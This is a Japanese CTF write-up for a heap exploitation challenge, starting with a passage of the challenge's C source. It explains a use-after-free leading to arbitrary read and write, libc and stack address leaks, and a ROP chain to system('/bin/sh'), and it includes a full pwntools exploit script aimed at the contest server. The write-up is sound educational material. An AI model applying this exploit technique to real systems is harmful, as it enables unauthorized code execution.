B, C) for (int C = MIN(A, B) + 1; C < MAX(A, B); C++) #define RETINEQ(A, B, C) for (int C = MAX(A, B) - 1; C > MIN(A, B); C--) #define DIR(A, B) (((A) == (B)) ? 0 : ((A) < (B)) ? 1 : -1) #define GOTO(A, B, C) for (int C = (A); C != (B); C += DIR(A, B)) #define GOTOEQ(A, B, C) for (int C = (A); C != (B) + DIR(A, B); C += DIR(A, B)) #define GOTONEQ(A, B, C) for (int C = (A) + DIR(A, B); C != (B); C += DIR(A, B)) int t = 0; char** boards[bc]; char starting[] = "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........" "\x00pppppppp\x00rnbkqbnr"; // bitwise magic is magical int is_lower_case(char c) { return c & 0x20; } int is_upper_case(char c) { return !is_lower_case(c); } char to_lower_case(char c) { return c | 0x20; } char to_upper_case(char c) { return c & (~0x20); } int is_letter(char c) { return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'); } char* make_board(char** b) { char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char)); memcpy(bigmem, starting, sizeof(starting)); for (int i = 0; i < tiles; i++) { b[i] = bigmem + i * 9; } return bigmem; } void print_board(char** b) { printf(" "); for (int i = 0; i < tiles; i++) { printf("%d", i); } puts("-x"); for (int i = 0; i < tiles; i++) { printf("%d %s\n", i, b[i]); } puts("|\ny"); } int move_piece(char** b, int ox, int oy, int nx, int ny) { char piece = b[oy][ox]; if (!is_letter(piece)) { return 1; } char low = to_lower_case(piece); // standing still instead of moving if (PEQS(ox, oy, nx, ny)) { return 1; } // piece is on the same team if (is_letter(b[ny][nx]) && is_lower_case(b[ny][nx]) == is_lower_case(piece)) { return 1; } if (low == 'p') { // pawns take forwards and don't have en passant // also they can jump over a piece on their starting move // deal with it if (nx != ox) { return 1; } int offset, dub; if (is_lower_case(piece)) { offset = oy - ny; dub = oy == tiles - 2; } else { offset = ny - oy; dub = oy == 1; } if (offset != 1 && !(offset == 2 && dub)) { return 1; } } else if (low == 'r') { if (ox != nx && oy != ny) { return 1; } if (ox == nx) { ITERNEQ(oy, ny, i) { if (is_letter(b[i][ox])) { return 1; } } } else { ITERNEQ(ox, nx, i) { if (is_letter(b[oy][i])) { return 1; } } } } else if (low == 'n') { if (!PEQ(ABS(nx - ox), ABS(ny - oy), 2, 1)) { return 1; } } else if (low == 'b') { int dx = ox - nx; int dy = oy - ny; if (ABS(dx) != ABS(dy)) { return 1; } GOTONEQ(0, dx, i) { if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) { return 1; } } } else if (low == 'k') { // check detection is nonexistent // deal with it if (ABS(ox - nx) > 1 || ABS(oy - ny) > 1) { return 1; } } else if (low == 'q') { int dx = ox - nx; int dy = oy - ny; if (!dx || !dy) { if (ox == nx) { ITERNEQ(oy, ny, i) { if (is_letter(b[i][ox])) { return 1; } } } else { ITERNEQ(ox, nx, i) { if (is_letter(b[oy][i])) { return 1; } } } } else if (ABS(dx) == ABS(dy)) { GOTONEQ(0, dx, i) { if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) { return 1; } } } return 1; } else { return 1; } b[ny][nx] = piece; b[oy][ox] = '.'; return 0; } int smite_piece(char** b, int x, int y) { if (is_letter(b[y][x])) { b[y][x] = t; return 0; } return 1; } int readint() { int ret; scanf("%d", &ret); return ret; } int main() { setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); for (int i = 0; i < bc; i++) { boards[i] = NULL; } while (1) { puts("What would you like to do?"); puts("1) New Board"); puts("2) Print Board"); puts("3) Move Piece"); puts("4) Smite Piece"); puts("5) Delete Board"); int action = readint(); if (action == 1) { puts("What is the board index?"); int ind = readint(); if (ind < 0 || ind > 4) { puts("The board index must be from 0-4"); continue; } boards[ind] = (char**)malloc(tiles * sizeof(char*)); make_board(boards[ind]); } else if (action == 2) { puts("What is the board index?"); int ind = readint(); if (ind < 0 || ind > 4) { puts("The board index must be from 0-4"); continue; } printf("Board %d:\n", ind); print_board(boards[ind]); } else if (action == 3) { puts("What is the board index?"); int ind = readint(); if (ind < 0 || ind > 4) { puts("The board index must be from 0-4"); continue; } int ox, oy, nx, ny; puts( "Please provide the x and y values of the piece, separated by " "spaces."); scanf("%d %d", &ox, &oy); puts( "Please provide the x and y values of the position to move to, " "separated by spaces."); scanf("%d %d", &nx, &ny); if (move_piece(boards[ind], ox, oy, nx, ny)) { puts("Invalid move."); } else { puts("Move made."); t ++; } } else if (action == 4) { puts("What is the board index?"); int ind = readint(); if (ind < 0 || ind > 4) { puts("The board index must be from 0-4"); continue; } int ox, oy; puts( "Please provide the x and y values of the piece, separated by " "spaces."); scanf("%d %d", &ox, &oy); if (smite_piece(boards[ind], ox, oy)) { puts("Smite failed."); } else { puts("Piece smotenified."); } } else if (action == 5) { puts("What is the board index?"); int ind = readint(); if (ind < 0 || ind > 4) { puts("The board index must be from 0-4"); continue; } free(boards[ind][0]); free(boards[ind]); } else { puts("I don't know what that is."); } } }
make_boardした後にdelete_boardしてもboards配列にアドレスが残るため、 freeされた領域に対して、print_boardを介して読み取り、move_peaceやsmite_peaceを介して書き込みを行うことができる。
freeされた領域に書き込むことができるのと、(十分に小さな)同じサイズのmallocを起こすことができるので、 freeされた領域に存在するmalloc_chunkを書き換えることで任意のアドレスをmallocの返り値にすることができる。
boards配列はまずmallocで作られたアドレスの格納されたtableを参照し、その先のbufferを読みに行く。 このtableとbufferはともにmallocで作られているため、 boards[0] -> tables[0] -> buf[0] boards[1] -> tables[1] -> buf[1] boards[2] -> buf[1] -> tables[0] というふうにmalloc_chunkを書き換えてつなぎ替えることによって、 任意のアドレスに対して読み書きを行えるようになる。
PIEではないので、pawnプログラム本体は常に0x400000に読み込まれ、pawn内の変数、関数に対してはアドレスを決め打ちすることができる。 FULL RELROなのでgot overwriteはできない。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 64) Symbols No 0 1 ./pawn
FULL RELROなバイナリは.plt領域に解決されたアドレスが書き込まれるため、libcの関数のアドレスを求めることができる。 libcは配布されているため、libcの関数のアドレスを用いてlibcのベースアドレスを求めることができる。
libcにはenvironという変数が存在しており、main関数の第3引数のアドレスの位置を求めることができる。 stackは変なコードでない限り相対位置は不変であるため、environの値を通して任意の関数のstackの位置を求めることができる。
stackにropgadgetsを仕組んでreturn-to-libcを行えればシェルを開くことができる。
make_boardのmemcpyを用いてropgadgetsをstack上に書き込む方向で考える。(※血迷いポイント)
char* make_board(char** b) { char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char)); memcpy(bigmem, starting, sizeof(starting)); for (int i = 0; i < tiles; i++) { b[i] = bigmem + i * 9; } return bigmem; }
mallocでenvironから求めたstackのアドレスを返すようにし、 グローバル変数のstartingにropgadgetsを詰め込めば、 make_boardがreturnするときにsystem('/bin/sh')が走るはずである。 以上の方針を満たすようにソルバ糞コードを錬成した。
読み書きに関しては完全に自由ではなく、読み取りはprintf("%s")であるためnullまでしか読めず、 書き込みに使えそうなsmite_peaceはis_letter関数によるチェックをパスしなければならない。 そのため駒をボードの外に動かしたりして必要な分の駒を確保したり色々した。 以下当時の残骸糞コード(もう読めない)
import pwn smite_t = 0 P_pos = (1, 7) R_pos = (7, 7) DEBUG=False def debug_print(s, *args, **kwargs): global DEBUG if DEBUG: print(s, *args, **kwargs) def read_until_menu(io): debug_print(io.recvuntil("5) Delete Board\n").decode(), end="") def wrapper_menu(func): def f(io, *argc, **kwargs): ret = func(io, *argc, **kwargs) read_until_menu(io) return ret return f @wrapper_menu def make_board(io, index): io.sendline(b"1") debug_print(io.readline().decode(), end="") io.sendline(index) @wrapper_menu def print_board(io, index): """ malloc """ io.sendline(b'2') debug_print(io.readline().decode(), end="") io.sendline(index) read_data = io.readuntil("|\ny") debug_print(read_data, end="") return read_data @wrapper_menu def delete_board(io, index): """ free """ io.sendline(b'5') debug_print(io.readline().decode(), end="") io.sendline(index) @wrapper_menu def move_peace(io, index, from_pos, to_pos): global smite_t debug_print("move_peace: ", io, from_pos, to_pos) io.sendline(b'3') debug_print(io.readline().decode(), end="") io.sendline(index) x, y = from_pos debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) x, y = to_pos debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) ret = io.readline().decode() if "Invalid" in ret: raise smite_t += 1 if smite_t ==256: smite_t = 0 return @wrapper_menu def incriment_smite_t_move(io, index): global P_pos global smite_t io.sendline(b'3') debug_print(io.readline().decode(), end="") io.sendline(index) x, y = P_pos debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) if x==1 and y==7: x = 0 y = 5 else: x = 1 y = 7 debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) P_pos = (x, y) ret = io.readline().decode() if "Invalid" in ret: raise smite_t += 1 if smite_t ==256: smite_t = 0 @wrapper_menu def move_r(io, index, r_pos): global smite_t io.sendline(b'3') debug_print(io.readline().decode(), end="") io.sendline(index) x, y = r_pos debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) x += 1 debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) ret = (x, y) debug_print(io.readline().decode(), end="") smite_t += 1 if smite_t ==256: smite_t = 0 return ret @wrapper_menu def move_pwn_up(io, index, pos): global smite_t io.sendline(b'3') debug_print(io.readline().decode(), end="") io.sendline(index) x, y = pos debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) y -= 1 debug_print(io.readline().decode(), end="") io.sendline("%d %d" % (x, y)) pos = (x, y) debug_print(io.readline().decode(), end="") smite_t += 1 if smite_t ==256: smite_t = 0 return pos @wrapper_menu def smite_peace(io, index, smite_pos, first_line=True): global smite_t debug_print("[!] Write : ", hex(smite_t)) io.sendline(b'4') debug_print(io.readline().decode(), end="") io.sendline(index) x, y = smite_pos if first_line: x = x + y*9 y = 0 print(x, y) debug_print(io.readline().decode(), end="") debug_print(io.sendline("%d %d" % (x, y))) debug_print(io.readline().decode(), end="") def up_porn_to_board_top(io, index, to_y): for x in range(8): pos = (x, 6) while pos[1] > to_y: pos = move_pwn_up(io, index, pos) def remove_board_null(io, index): pos_list = [ ((7, 0), (8, 0)), ((8, 0), (8, 1)), ((8, 1), (8, 2)), ((8, 2), (8, 3)), ((8, 3), (8, 4)), ((8, 4), (8, 5)), ((8, 5), (8, 6)), ((8, 6), (8, 7)), ((8, 7), (8, 0)), ((8, 0), (7, 0)), ] for from_pos, to_pos in pos_list: move_peace(io, index, from_pos, to_pos) def move_rnbkqbn_to_board_top(io, index): ''' first move n and b ''' pos_list = [ ((1, 7), (0, 5)), ((0, 5), (1, 3)), ((2, 7), (0, 5)), ((0, 5), (2, 3)), ((5, 7), (3, 5)), ((3, 5), (5, 3)), ((6, 7), (7, 5)), ((7, 5), (6, 3)), ((0, 7), (0, 3)), ((7, 7), (7, 3)), ((3, 7), (3, 6)), ((3, 6), (3, 5)), ((3, 5), (3, 4)), ((3, 4), (3, 3)), ] for from_pos, to_pos in pos_list: move_peace(io, index, from_pos, to_pos) ''' overwrite q to r ''' while smite_t != ord('r'): incriment_smite_t_move(io, '4') smite_peace(io, index, (4, 7)) move_peace(io, index, (4, 7), (4, 3)) # 0 # 1 # 2 pppppppp # 3 .n...... # 4 ........ # 5 b....... # 6 ........ # 7 r..kqbnr # | # y def write_to_mem(io, index, payload, position_y=0, offset=0, use_pos=False): global smite_t print("payload: ", payload) if use_pos: for i, p in enumerate(payload): #debug_print("p:", p) while p != smite_t: incriment_smite_t_move(io, '4') smite_peace(io, index, (i + (offset), position_y), first_line=False) else: for i, p in enumerate(payload): #debug_print("p:", p) while p != smite_t: incriment_smite_t_move(io, '4') smite_peace(io, index, (i + (position_y*8) + offset, 0)) def parse_data(data): start = len('Board 0:\n 01234567-x\n0 ') end = data.find(b'\n', start+1) return data[start:end] def parse_data2(data): start = len('Board 0:\n 01234567-x\n0 ') start = data.find(b'\n', start+1) end = data.find(b'\n', start+3) return data[start:end] def change_all_peace_to_r(io, index): # !! Use to Default board !! global smite_t p = ord('r') while p != smite_t: incriment_smite_t_move(io, '4') for y in [0, 1, 6, 7]: for x in range(8): smite_peace(io, index, (x, y)) def change_under_peace_to_r(io, index): # !! Use to Default board !! global smite_t p = ord('r') while p != smite_t: incriment_smite_t_move(io, '4') for y in [6, 7]: for x in range(8): smite_peace(io, index, (x, y)) def fill_only_first_line_use_six_line(io, index): pos_list = [ ((0, 6), (0, 0)), ((1, 6), (1, 0)), ((2, 6), (2, 0)), ((3, 6), (3, 0)), ((4, 6), (4, 0)), ((5, 6), (5, 0)), ((6, 6), (6, 0)), ((7, 6), (7, 0)), ((7, 7), (8, 7)), ((8, 7), (8, 0)), ] for from_pos, to_pos in pos_list: move_peace(io, index, from_pos, to_pos) def fill_all_r_to_top(io, index): pos_list = [ ((0, 6), (0, 2)), ((1, 6), (1, 2)), ((2, 6), (2, 2)), ((3, 6), (3, 2)), ((4, 6), (4, 2)), ((5, 6), (5, 2)), ((6, 6), (6, 2)), ((7, 6), (7, 2)), ((0, 7), (0, 3)), ((1, 7), (1, 3)), ((2, 7), (2, 3)), ((3, 7), (3, 3)), ((4, 7), (4, 3)), ((7, 7), (8, 7)), ((8, 7), (8, 0)), ((6, 7), (8, 7)), ((8, 7), (8, 1)), ((5, 7), (8, 7)), ((8, 7), (8, 2)), ] for from_pos, to_pos in pos_list: move_peace(io, index, from_pos, to_pos) ### ROUke Utilirty ### def fill_line_to_r(io, index, line): global smite_t p = ord('r') while p != smite_t: incriment_smite_t_move(io, '4') for i in range(8): smite_peace(io, index, (i, line)) def fill_r_in_range(io, index, line, start, end): global smite_t p = ord('r') while p != smite_t: incriment_smite_t_move(io, '4') for i in range(start, end): smite_peace(io, index, (i, line)) def lshift_r_in_range(io, index, line, start, end, offset): for i in range(start, end): for j in range(offset): print("move", (i-j, line)) move_peace(io, index, (i-j, line), (i-1-j, line)) ### PAWN Utilirty ### def fill_line_to_P(io, index, line): global smite_t p = ord('P') while p != smite_t: incriment_smite_t_move(io, '4') for i in range(8): smite_peace(io, index, (i, line)) def fill_line_to_p(io, index, line): global smite_t p = ord('p') while p != smite_t: incriment_smite_t_move(io, '4') for i in range(8): smite_peace(io, index, (i, line)) def double_up_P_line(io, index, line): for i in range(8): move_peace(io, index, (i, line), (i, line-2)) def one_up_P_line(io, index, line): for i in range(8): move_peace(io, index, (i, line), (i, line-1)) def fill_board(io, index): counter = 40 while counter > 0: move_length = 2 + counter r_pos = (7, 7) for i in range(move_length): r_pos = move_r(io, index, r_pos) read_data = print_board(io, index) print(read_data) counter -= 1 delete_board(io, index) make_board(io, index) remove_board_null(io, index) up_porn_to_board_top(io, index, 2) move_rnbkqbn_to_board_top(io, index) print("Move r to slide") to_y = 4 while counter < 32: for i in range(8): target_pos = (10 + counter, 7) while target_pos != (i, 7): from_pos = target_pos to_pos = (from_pos[0] - 1, from_pos[1]) move_peace(io, index, from_pos, to_pos) target_pos = to_pos counter += 1 if to_y != 7: for j in range(8): move_peace(io, index, (j, 7), (j, to_y)) to_y += 1 to_y = 0 while counter < 40: target_pos = (10 + counter, 7) while target_pos != (8, 7): from_pos = target_pos to_pos = (from_pos[0] - 1, from_pos[1]) move_peace(io, index, from_pos, to_pos) target_pos = to_pos if to_y != 7: move_peace(io, index, target_pos, (8, to_y)) to_y += 1 counter += 1 def solve(io): """ 3 makeboard and 3 deleteboard malloc * 6 and free * 6 leak malloc chank addr """ make_board(io, '0') make_board(io, '1') make_board(io, '2') make_board(io, '4') delete_board(io, '0') delete_board(io, '1') delete_board(io, '2') #change_under_peace_to_r(io, '1') l = len('Board 2:\n 01234567-x\n0 ') read_data = print_board(io, '2') next_malloc_addr =read_data[l:l+4] debug_print(hex(pwn.unpack(next_malloc_addr))) read_data = print_board(io, '0') default_data = b'Board 2:\n 01234567-x\n0 P\x13\xc7\n1 \n2 ........\n3 ........\n4 ........\n5 ........\n6 pppppppp\n7 rnbkqbnr\n|\ny' default_data_len = pre_data_len = len(default_data) offset_counter = 0 r_pos = (7, 7) while True: offset_counter +=1 r_pos = move_r(io, '0', r_pos) read_data = print_board(io, '0') data_len = len(read_data) if data_len > pre_data_len+2: first = pre_data_len -3 addr_len = data_len - pre_data_len -1 break pre_data_len = data_len first = pre_data_len-3 debug_print("Offset: ", offset_counter) debug_print(read_data) debug_print(read_data[first:first+addr_len]) addr_b = read_data[first:first+addr_len].ljust(4, b'\x00') print(hex(pwn.unpack(addr_b[:4]))) default_free_addr = parse_data(print_board(io, '2')).ljust(4, b'\x00') print(default_free_addr) input() debug_print(default_free_addr) write_to_mem(io, '2', addr_b) # !!! Board 2 Recreate # !!! So reset Position make_board(io, '2') #global P_pos #P_pos = (1, 7) make_board(io, '3') # stage 2: lead libc_base_address # fill r in board 3 # ### fill Board ### fill_board(io, '3') ###### Fill board ##### # #### write Board 3 to libc_free_addr_ptr #payload = next_malloc_addr.ljust(8, b'\x00') for i in range(8): payload = pwn.pack(0x403f98 + i).ljust(8, b'\x00') write_to_mem(io, '3', payload, position_y=i) debug_print(print_board(io, '3')) debug_print(print_board(io, '1')) read_data = print_board(io, '0') debug_print(read_data) debug_print(parse_data(read_data)) pd = parse_data(read_data).ljust(8, b'\x00') debug_print(pd) libc_free_addr = pwn.unpack(pd, word_size=64) print('[Guess] libc_free addr: ', hex(libc_free_addr)) libc_base = libc_free_addr - 0x9d850 print('[Guess] libc_base addr: ', hex(libc_base)) environ_addr = libc_base + 0x1ef2e0 print('[Guess] environ addr: ', hex(environ_addr)) #### stage 3 : leak environ and stack_addr #### print('[!] Stage 3 ') # reset board 3 delete_board(io, '3') make_board(io, '3') fill_board(io, '3') for i in range(8): payload = pwn.pack(environ_addr, word_size=64) write_to_mem(io, '3', payload, position_y=i) read_data = print_board(io, '0') stack_addr = pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64) debug_print(read_data) debug_print(parse_data(read_data)) print('stack addr->', pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64)) delete_board(io, '3') # stage 4 : overwride starting buf print('[!] Stage 4 ') starting_addr = 0x404020 make_board(io, '3') fill_board(io, '3') #for i in [0, 1, 2, 3, 6, 7]: for i in [0]: payload = pwn.pack(starting_addr+i*9, word_size=64) write_to_mem(io, '3', payload, position_y=i) fill_r_in_range(io, '0', 0, 9, 18) fill_r_in_range(io, '0', 0, 54, 63) fill_r_in_range(io, '0', 0, 63, 72) lshift_r_in_range(io, '0', 0, 9, 17, 1) lshift_r_in_range(io, '0', 0, 54, 62, 38) lshift_r_in_range(io, '0', 0, 63, 71, 39) #change_all_peace_to_r(io, '0') #fill_all_r_to_top(io, '0') # double_up_P_line(io, '0', 6) # one_up_P_line(io, '0', 4) # one_up_P_line(io, '0', 3) # # fill_line_to_p(io, '0', 7) # one_up_P_line(io, '0', 7) # double_up_P_line(io, '0', 6) # one_up_P_line(io, '0', 4) # # fill_line_to_r(io, '0', 3) # # move_peace(io, '0', (7,3), (8,3)) # move_peace(io, '0', (8,3), (8,0)) # move_peace(io, '0', (6,3), (8,3)) # move_peace(io, '0', (8,3), (8,1)) # move_peace(io, '0', (5,3), (8,3)) # move_peace(io, '0', (8,3), (8,2)) print(print_board(io, '3')) delete_board(io, '3') print(print_board(io, '3')) fill_line_to_P(io, '2', 0) for i in range(8): move_peace(io, '2', (i, 1), (i, 2)) move_peace(io, '2', (i, 2), (i, 3)) move_peace(io, '2', (i, 0), (i, 1)) move_peace(io, '2', (i, 1), (i, 2)) delete_board(io, '2') print("default:", pwn.unpack(default_free_addr, word_size=32)) print("overwide:", pwn.unpack(addr_b, word_size=32)) payload = pwn.pack(starting_addr, word_size=64) write_to_mem(io, '3', payload, offset=32) # setting rop gadget libc_system = libc_base + 0x0055410 libc_binsh = libc_base + 0x1b75aa libc_pop_rdi = libc_base + 0x00026b72 libc_ret = libc_pop_rdi + 1 payload = pwn.pack(libc_pop_rdi, word_size=64) write_to_mem(io, '0', payload, position_y=4, offset=0, use_pos=True) payload = pwn.pack(libc_binsh, word_size=64) write_to_mem(io, '0', payload, position_y=4, offset=8, use_pos=True) payload = pwn.pack(libc_ret, word_size=64) write_to_mem(io, '0', payload, position_y=4, offset=16, use_pos=True) payload = pwn.pack(libc_system, word_size=64) write_to_mem(io, '0', payload, position_y=4, offset=24, use_pos=True) #read_data = print_board(io, '0') #debug_print(read_data) # stage5 : overwrite stack buf diff = 336 target_stack_addr = stack_addr - diff payload = pwn.pack(target_stack_addr, word_size=64) for i in range(8): move_peace(io, '3', (i, 2), (i, 1)) move_peace(io, '3', (i, 1), (i, 0)) write_to_mem(io, '3', payload) new_free_addr = parse_data(print_board(io, '1')).ljust(8, b'\x00') backup_stab = parse_data2(print_board(io, '1')).ljust(8, b'\x00') fill_line_to_p(io, '2', 2) for i in range(8): move_peace(io, '2', (i, 2), (i, 1)) move_peace(io, '2', (i, 1), (i, 0)) write_to_mem(io, '2', backup_stab, offset=8) write_to_mem(io, '2', new_free_addr) print(backup_stab) print(hex(pwn.unpack(new_free_addr, word_size=64))) #pwn.gdb.attach(io) make_board(io, '4') io.interactive() make_board(io, '4') #io = pwn.process("./pawn") io = pwn.remote("shell.actf.co", 21706) read_until_menu(io) solve(io) io.interactive()
malloc先をつなぎ替えるために、確保される領域が近いことを期待して隣のmalloc領域を読みに行っているため、たまに失敗する。 ropで一回retを挟んでいるのは以下の記事参照。
flag: